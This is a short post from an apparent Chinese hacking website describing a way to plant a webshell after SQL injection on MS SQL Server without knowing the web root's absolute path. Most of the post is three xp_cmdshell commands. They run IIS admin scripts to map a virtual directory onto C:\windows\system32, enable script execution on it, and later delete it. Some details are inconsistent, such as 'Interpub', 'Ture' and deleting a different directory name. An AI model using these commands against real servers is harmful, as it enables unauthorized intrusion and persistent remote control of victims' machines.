类型:未知 - 返回首页

主题描述:无法获得Web绝对路径又一入侵方法
来源:网络   提交:admin   时间:2013-11-24   点击:431

我们很多情况下都遇到SQL注入可以列目录和运行命 令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
  exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"’

  建立虚拟目录win,指向c:\windows\system32

  exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture’

  让win句有解析asp脚本权 限

  exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"

  删除虚拟目录。

  找不到web绝对路径的一种解决办法!

本站所有内容 仅供技术研究
如有任何建议与意见请发送至:hackercc@msn.com
Copyright (C) 2006-2025 www.hac-ker.com All rights reserved